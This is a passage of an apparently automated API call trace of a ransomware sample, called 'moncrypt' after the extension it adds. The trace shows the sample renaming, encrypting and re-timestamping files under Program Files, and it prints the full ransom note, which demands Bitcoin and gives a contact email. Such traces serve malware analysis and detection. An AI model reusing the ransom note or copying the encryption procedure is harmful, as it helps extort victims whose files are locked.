| out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNGr", lpUsedDefaultChar=0x0) returned 72 [0051.856] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\ICE\\THMBNAIL.PNGr", lpUsedDefaultChar=0x0) returned 4 [0051.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.857] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.857] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.857] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.moncrypt")) returned 1 [0051.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.858] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.858] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4981 [0051.858] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.858] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.860] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.860] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.861] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.861] GlobalUnlock (hMem=0x440004) returned 0 [0051.861] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.861] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.861] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.861] GlobalUnlock (hMem=0x440004) returned 0 [0051.861] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.861] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.861] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.861] GlobalUnlock (hMem=0x44000c) returned 0 [0051.861] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.861] GlobalUnlock (hMem=0x440004) returned 0 [0051.861] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.861] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.861] GlobalUnlock (hMem=0x440004) returned 0 [0051.861] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.861] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.861] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.861] GlobalUnlock (hMem=0x440004) returned 0 [0051.861] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.861] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.861] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.862] SetFilePointer (in: hFile=0x18c, lDistanceToMove=18817, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4981 [0051.862] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.862] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.862] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.873] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.873] CloseHandle (hObject=0x18c) returned 1 [0051.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.874] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.874] CloseHandle (hObject=0x18c) returned 1 [0051.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.875] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.875] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.875] GlobalUnlock (hMem=0x440004) returned 0 [0051.875] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.875] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.875] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.875] GlobalUnlock (hMem=0x440004) returned 0 [0051.875] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.875] GlobalUnlock (hMem=0x44000c) returned 0 [0051.875] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4023d880, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4023d880, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x402639e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.875] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.875] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.875] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.876] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.876] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.876] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.876] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.876] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.876] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.876] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.876] CloseHandle (hObject=0x18c) returned 1 [0051.876] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.876] GetLastError () returned 0x12 [0051.876] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.876] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.876] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.876] GlobalUnlock (hMem=0x44000c) returned 0 [0051.876] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.876] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.877] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.877] GlobalUnlock (hMem=0x44000c) returned 0 [0051.877] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.877] GlobalUnlock (hMem=0x440004) returned 0 [0051.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40289b40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40289b40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.877] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.877] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.877] GlobalLock (hMem=0x440004) returned 0x550170 [0051.877] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.877] GlobalUnlock (hMem=0x440004) returned 0 [0051.877] GlobalLock (hMem=0x440004) returned 0x550170 [0051.877] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.877] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.877] GlobalUnlock (hMem=0x440004) returned 0 [0051.877] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.877] GlobalUnlock (hMem=0x44000c) returned 0 [0051.877] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.877] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40289b40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40289b40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.877] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.877] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.877] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.877] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.877] GlobalUnlock (hMem=0x44000c) returned 0 [0051.877] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.877] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.878] GlobalUnlock (hMem=0x44000c) returned 0 [0051.878] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.878] GlobalUnlock (hMem=0x440004) returned 0 [0051.878] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.878] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4023d880, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4023d880, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x402639e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.878] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.878] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.878] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.878] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.878] GlobalUnlock (hMem=0x440004) returned 0 [0051.878] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.878] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.878] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.878] GlobalUnlock (hMem=0x440004) returned 0 [0051.878] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.878] GlobalUnlock (hMem=0x44000c) returned 0 [0051.878] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.878] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10a95, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM.moncrypt", cAlternateFileName="ICEELM~1.MON")) returned 1 [0051.878] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.878] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.878] GlobalUnlock (hMem=0x44000c) returned 0 [0051.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.878] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.878] GlobalUnlock (hMem=0x44000c) returned 0 [0051.878] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.879] GlobalUnlock (hMem=0x440004) returned 0 [0051.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0051.879] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.879] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.879] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.879] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.879] GlobalUnlock (hMem=0x440004) returned 0 [0051.879] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.879] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.879] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.879] GlobalUnlock (hMem=0x440004) returned 0 [0051.879] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.879] GlobalUnlock (hMem=0x44000c) returned 0 [0051.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.879] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.879] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.879] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.879] GlobalUnlock (hMem=0x44000c) returned 0 [0051.879] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.879] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.879] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.879] GlobalUnlock (hMem=0x44000c) returned 0 [0051.879] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.879] GlobalUnlock (hMem=0x440004) returned 0 [0051.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.880] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.880] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.880] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.880] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.880] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.880] GlobalUnlock (hMem=0x440004) returned 0 [0051.880] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.880] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.880] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.880] GlobalUnlock (hMem=0x440004) returned 0 [0051.880] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.880] GlobalUnlock (hMem=0x44000c) returned 0 [0051.880] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.880] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.880] GetLastError () returned 0x12 [0051.880] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.880] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0051.880] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.880] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.880] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.881] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.881] GlobalUnlock (hMem=0x44000c) returned 0 [0051.881] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.881] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.881] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.881] GlobalUnlock (hMem=0x44000c) returned 0 [0051.881] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.881] GlobalUnlock (hMem=0x440004) returned 0 [0051.881] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.881] GlobalLock (hMem=0x440004) returned 0x550170 